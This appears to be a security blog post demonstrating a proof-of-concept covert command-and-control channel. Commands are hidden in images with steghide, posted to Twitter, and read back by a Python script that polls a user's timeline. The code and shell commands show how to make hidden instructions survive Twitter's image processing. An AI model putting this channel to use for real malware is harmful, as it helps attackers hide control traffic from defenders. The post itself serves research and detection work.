The security site “DarkReading” had a couple of interesting articles on the use of steganography in malware:
http://www.darkreading.com/endpoint/new-malware-found-hiding-inside-image-files/d/d-id/1320895
The idea of an stealthy malware command and control center is very intriguing. As some researchers point out in the above articles, an ideal malware command and control center can deliver instructions to malware bots around the world with minimum risk of detection. The researchers in the first article above reason that Instagram is a perfect medium for a hidden C&C. Social sites are rarely blocked (they are too popular – even in the workplace), they are encrypted via HTTPS and if one manages to hide instructions within images, then even traffic pattern anomaly detection will have a hard time detecting this type of activity
The problem is that most social network sites resize, compress or watermark images that typically destroys data hidden within an image using steganography. In this article we’ll explore a very simple proof of concept C&C that utilizes python and the popular StegHide to embed data in images, and Twitter as a medium to send the modified images.
StegHide is a popular open source steganography tool and t’s worthwhile going through StegHide’s documentation – it uses a very clever way of graph theory to make minimal changes to the original image
Without further ado, here’s the python code:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import twitter | |
import cPickle as pickle | |
import shutil | |
import subprocess, os | |
stegPasscode = 'helloWorld' | |
consumer_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | |
consumer_secret = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | |
access_token_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | |
access_token_secret = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | |
user = 'davevassallo6' | |
nothing_new=True | |
try: | |
last_id_retrieved = pickle.load(open("/tmp/twitter_steg_id.p", "rb")) | |
except: | |
last_id_retrieved = None | |
api = twitter.Api(consumer_key=consumer_key, | |
consumer_secret=consumer_secret, | |
access_token_key=access_token_key, | |
access_token_secret=access_token_secret) | |
if last_id_retrieved: | |
statuses = api.GetUserTimeline(user, since_id=str(last_id_retrieved)) | |
else: | |
statuses = api.GetUserTimeline(user) | |
for s in statuses: | |
try: | |
if s.id == last_id_retrieved: | |
continue | |
else: | |
last_id_retrieved = s.id | |
nothing_new=False | |
dest = open('/tmp/tesSDJD', 'wb') | |
f = twitter.twitter_utils.parse_media_file(s.media[0].media_url)[0] | |
shutil.copyfileobj(f, dest) | |
dest.close() | |
result = subprocess.check_output( | |
["steghide", "extract", "-f", "-sf", "ret.jpg", "-p", stegPasscode, "-xf", "/dev/stdout"]) | |
print "Got some commands: {}".format(result) | |
except: | |
continue | |
try: | |
pickle.dump(last_id_retrieved, open("/tmp/twitter_steg_id.p", "wb")) | |
os.remove('/tmp/tesSDJD') | |
print 'Done' | |
except: | |
if nothing_new: | |
print "Nothing New" | |
else: | |
print "Done without saving state or cleanup" |
It’s a short program, with some very simple steps. We use the popular Python-Twitter API to ease communication with Twitter. After the proper setup (lines 1-24), we download any new status updates of the user ‘davevassallo6’ (lines 31-49)
The code doesnt include any error checking but in essence it downloads any media in the status updates, and saves them to a temporary file (please note the proper use of twitter.twitter_utils.parse_media_file on line 40). We then proceed to use steghide to decode our image (line 44) and print out the results.
Some notes:
- We use the passcode option with steghide to encrypt the data as well (the “-p” argument on line 45)
- We force the output of steghide to /dev/stdout so that python can read the results; this would need to change on windows platforms
So much for the hard part – decoding the data. Hiding C&C instructions within an image is easy, simply fire up a terminal and:
echo “Hello World. This could be valuable information (it’s not….)” > embed.txt
steghide embed -cf Cjn5w8UWYAApAkc.jpg -ef embed.txt -p helloWorld -z 9
In the first line we put our C&C “instruction” into a text file called embed.txt. In the next line we use steghide to hide this information in a normal JPG file. Some notes:
- Again note the use of the passcode option (“-p”). This obviously has to match what you have in the python program
- Note that we set the “-z” flag to 9. This means that steghide will use the highest amount of compression possible on the image. We do this on purpose so that twitter doesn’t compress the image for us and potentially corrupt the hidden data. This is very important
The original JPG image had the following MD5 hash:
f8a5a2e7ea016cbb98c80ffc65fed0b4 Cjn5w8UWYAApAkc.jpg
While the steganography cover image obviously has a different MD5 hash:
13a6eda0926675fcc613938e8db55bea steg.jpg
We upload the stego image to twitter (https://twitter.com/davevassallo6/status/785367148524953600) and then run our python program… it works!
Now how to stop this… (hint: https://drive.google.com/open?id=0B133ZFctNVtsN2NmSGN6M0t2SVU)
References:
One thought on “Steganography Combo: StegHide and Twitter”
Comments are closed.